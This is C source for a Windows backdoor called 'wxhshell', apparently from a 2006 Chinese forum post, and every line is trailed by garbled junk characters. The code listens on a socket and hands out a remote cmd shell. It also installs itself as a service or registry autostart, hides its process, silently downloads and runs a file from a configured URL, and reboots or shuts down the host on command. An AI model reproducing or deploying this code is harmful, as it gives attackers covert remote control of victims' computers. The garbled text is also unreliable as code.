    switch(cmd[0]) { ^~k2(DLk  
  BD+V{x}P  
  // 帮助 ,rT62w*e  
  case '?': { /l-lkG5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y| *X  
    break; ^fT|Wm<  
  } 2?h c94  
  // 安装 8jW"8~Y#0  
  case 'i': { B:om61Dn  
    if(Install()) a%a_sR\)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <\< [J0  
    else 3A'vq2beM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |X/ QSL  
    break; j] \3>.  
    } e)kN%JqW  
  // 卸载 b13XHR)0  
  case 'r': { T >X nVK  
    if(Uninstall()) og<mFbqkq7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jdsNZV  
    else >6ul\xMU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nf(Np1?;c  
    break; \^O#)&5 V  
    } 6KuB<od  
  // 显示 wxhshell 所在路径 RO(~c-fV  
  case 'p': { {//;GC*  
    char svExeFile[MAX_PATH]; O(U 'G|  
    strcpy(svExeFile,"\n\r"); )&R^J;W$M1  
      strcat(svExeFile,ExeFile); bjvpYZC\5  
        send(wsh,svExeFile,strlen(svExeFile),0); R0dIxG%  
    break; ?}4 =A&][  
    } UX3 ]cr  
  // 重启 UruD&=AMK  
  case 'b': { dc[w`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f;1DhAS  
    if(Boot(REBOOT)) DK8eFyG^2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T=6fZ;7  
    else { 4FK|y&p4r  
    closesocket(wsh); 9aYDi)  
    ExitThread(0); * 7: )k  
    } kigq(a  
    break; ~Pq(Ta  
    } tmM8YN|  
  // 关机 t?J Y@hT*  
  case 'd': { >05_#{up  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )NG{iD{_]  
    if(Boot(SHUTDOWN)) qI-q%]l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "vVL52HwB  
    else { 7O6VnKl  
    closesocket(wsh); ,VK! 3$;|  
    ExitThread(0); LwDm(gG  
    } 72oiO[>N'  
    break; e_3KNQ`kA  
    } c5~d^  
  // 获取shell (ATvH_Z  
  case 's': { _2*Ryz  
    CmdShell(wsh); q}Wd`>VDR  
    closesocket(wsh); JN;92|x  
    ExitThread(0); ^<L;"jl%  
    break; xsjJ8>G  
  } -P!_<\q\l  
  // 退出 pyPS5vWG  
  case 'x': { 56!>}!8!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Sb_T _m  
    CloseIt(wsh); 4}nsW}jCc  
    break; 4 I}xygV  
    } .;6G?8`  
  // 离开 zPwU'TbF  
  case 'q': { ]KX _a1e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (GnwK1f  
    closesocket(wsh); A/kRw'6  
    WSACleanup(); o* q F"xG  
    exit(1); z?C;z7eT  
    break; BaSNr6 YW  
        } J:M)gh~#  
  } N_jCx*.G  
  } ]s lYr8m  
JM8 s]&  
  // 提示信息 rV LUT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lLuAZoH  
} -BWkPq!  
  } !oXA^7Th6]  
s }P-4Sg  
  return;  .*H0{  
} ,Mwyk1:xix  
ypxqW8Xe  
// shell模块句柄 ?L|Jc_E  
int CmdShell(SOCKET sock) Q>gU(  
{ \Fh k>  
STARTUPINFO si; [ e4)"A"  
ZeroMemory(&si,sizeof(si)); )r O`K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )2Gp3oD?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gmcx#?|Tx  
PROCESS_INFORMATION ProcessInfo; c"+N{$ vp  
char cmdline[]="cmd"; Ov{fO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [0GM!3YJ7  
  return 0; 02]9 OnWw  
} zT}Qrf~  
>/Z#{;kOz  
// 自身启动模式 uNLB3Rdy}  
int StartFromService(void) W%]sI n  
{ M%7H-^{  
typedef struct aE^tc'h~  
{ QjfQoT F  
  DWORD ExitStatus; K[LTw_oE  
  DWORD PebBaseAddress; Fi{~UOZg  
  DWORD AffinityMask; C]UBu-]#S  
  DWORD BasePriority; zO>N3pMv  
  ULONG UniqueProcessId; fSp(}'m2L  
  ULONG InheritedFromUniqueProcessId; _t:cDXj  
}   PROCESS_BASIC_INFORMATION; #)%N+Odnr  
P9J3Ii!  
PROCNTQSIP NtQueryInformationProcess; f}bUuQrH-!  
`4s5yNUi=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V"VWHAu*.w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3nBbPP_  
~MY7Ic%  
  HANDLE             hProcess; /qF7^9LtaY  
  PROCESS_BASIC_INFORMATION pbi; z]>aWH}$  
yy?|q0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3m4?l ~  
  if(NULL == hInst ) return 0; bxP>  
^ j@Q2>&?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); : o$ R@l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K G~](4JE(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L{2\NJ"+u  
pooi8" G  
  if (!NtQueryInformationProcess) return 0; 0c1}?$f[?%  
t; n6Q0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u0$7k9mE  
  if(!hProcess) return 0; .]ZM2  
&RXd1>|c2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M@Q=!!tQ(  
nvD"_.KrJ  
  CloseHandle(hProcess); lf|e8kU\f  
sVkR7 ^KsG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W<2%J)N<  
if(hProcess==NULL) return 0; [RD ^@~x  
LF%1)x  
HMODULE hMod; LH 4-b-  
char procName[255]; 3HbHl?-UNU  
unsigned long cbNeeded; ~<, \=;b/  
D4'? V Iz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `#fOY$#XB  
O( he  
  CloseHandle(hProcess); |[K7oa~#  
= k3O4gE7  
if(strstr(procName,"services")) return 1; // 以服务启动 bS/`G0!  
*U54x /w|  
  return 0; // 注册表启动 T<54qe4`p  
} U]R?O5K  
wt2S[:!p  
// 主模块 |@nvg>mu  
int StartWxhshell(LPSTR lpCmdLine) =La}^  
{ (6+6]`c$  
  SOCKET wsl; $%r|V*5  
BOOL val=TRUE; S$+ v?Y`)  
  int port=0; 9,`mH0jP  
  struct sockaddr_in door; 'dWJ#9C  
+1d\ZZA|6&  
  if(wscfg.ws_autoins) Install(); +{hxEDz  
=V5.c+  
port=atoi(lpCmdLine); Y ga}8DU  
7Wb.(` a<  
if(port<=0) port=wscfg.ws_port; #0`"gR#+  
b V9Z[[\  
  WSADATA data; l7s=b4}c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v9inBBC q  
CPVKz   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hsqUiB tc6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~Y'e1w$`  
  door.sin_family = AF_INET; yN>"r2   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w|L~+   
  door.sin_port = htons(port); #eUfwd6.Y  
2M&4]d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r`;C9#jZ  
closesocket(wsl); ,j_{IL690  
return 1; raqLXO!j  
} e-e{-pB6  
0'py7  
  if(listen(wsl,2) == INVALID_SOCKET) { >`{i[60r  
closesocket(wsl); |ni cvg@  
return 1; Ap!UX=HBb  
} fwq|8^S@  
  Wxhshell(wsl); ^1~/FU  
  WSACleanup(); ESomw  
N\uQ-XOi  
return 0; %M`|0g}!  
PzV(e)~7  
} p +T&9  
]~K&mNo  
// 以NT服务方式启动 -:~`g*3#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L}21[ N~ky  
{ 9Np0<e3p  
DWORD   status = 0; D{loX6  
  DWORD   specificError = 0xfffffff; 6sZRR{'  
j2P|cBXu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xlwsZm{V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aDOH3Ri0K!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N)!v-z,k  
  serviceStatus.dwWin32ExitCode     = 0; )_Oc=/c|f  
  serviceStatus.dwServiceSpecificExitCode = 0; * QR7t:([  
  serviceStatus.dwCheckPoint       = 0; {``}TsN  
  serviceStatus.dwWaitHint       = 0; XBY"7}  
0ay!tS dN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =#^dG ''*"  
  if (hServiceStatusHandle==0) return; (mD]}{>  
FRg6-G/S  
status = GetLastError(); &*y ve}su  
  if (status!=NO_ERROR) .lFSFJ??  
{ b>7ts_b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GawO>7w8  
    serviceStatus.dwCheckPoint       = 0; Ue8D:C M  
    serviceStatus.dwWaitHint       = 0; J6%op{7/  
    serviceStatus.dwWin32ExitCode     = status; os.x|R]_  
    serviceStatus.dwServiceSpecificExitCode = specificError; UA9LI<Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YiJu48J  
    return; Yq Fzbm{\  
  } b5|p#&YK~  
Q|1bF!#(1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JdRs=#X  
  serviceStatus.dwCheckPoint       = 0; G 6, 8Xwk  
  serviceStatus.dwWaitHint       = 0; h|H;ZC(B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oTfbx+i/G  
} b910Z?B^L  
|pgkl`  
// 处理NT服务事件,比如:启动、停止 L%0lX$2&\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kwL) &@  
{ Vj]kJ,j\y  
switch(fdwControl) a82mC r  
{ {_~G+rqY  
case SERVICE_CONTROL_STOP: [GP( r  
  serviceStatus.dwWin32ExitCode = 0; (FaT{W{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AWDjj\Q4  
  serviceStatus.dwCheckPoint   = 0; #TgJ d  
  serviceStatus.dwWaitHint     = 0; uJ`&hX  
  { f UIs(}US  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SRTpE,  
  } $Y`aS^IW  
  return; *Vl =PNn-  
case SERVICE_CONTROL_PAUSE: Tpukz_F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c7F&~RLC  
  break; )^\='(s  
case SERVICE_CONTROL_CONTINUE: 2mUu3fZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8w&rj-  
  break; JB+pFBeY  
case SERVICE_CONTROL_INTERROGATE: 4I-p/&Q  
  break; !Ia"pNDf  
}; qX(%Wn;n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cDiz!n*.q  
} "Y!dn|3  
)DmiN^:  
// 标准应用程序主函数 -W_s]oBg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ymZ/(:3_  
{ tFaE cP  
Xa@wN/"F  
// 获取操作系统版本 \.c )^QQ  
OsIsNt=GetOsVer(); F}]_/cY7B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pq3  A%|  
xLI{=sL  
  // 从命令行安装 Yp]G)}'R  
  if(strpbrk(lpCmdLine,"iI")) Install(); (AG  
2<G1'7)  
  // 下载执行文件 kI 3zYD^:  
if(wscfg.ws_downexe) { B)]{]z0+`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WrNgV@P  
  WinExec(wscfg.ws_filenam,SW_HIDE); A{I a21T7  
} oqba:y;AR  
NNw d;AC  
if(!OsIsNt) { ^<\} Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 '$XHRS/q]  
HideProc(); ,/6:bc:W  
StartWxhshell(lpCmdLine); : W^\ mH  
} &}0wzcMg  
else 2 dD<]  
  if(StartFromService()) Om2X>/V%C  
  // 以服务方式启动 fG2&/42J  
  StartServiceCtrlDispatcher(DispatchTable); Tn0l|GRuZA  
else qH Ga  
  // 普通方式启动 N>fYH.c3Y  
  StartWxhshell(lpCmdLine); {!1n5a3" 1  
"QO/Jls  
return 0; 2c~?UK[1  
}
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只看该作者 1 发表于: 2006-10-10
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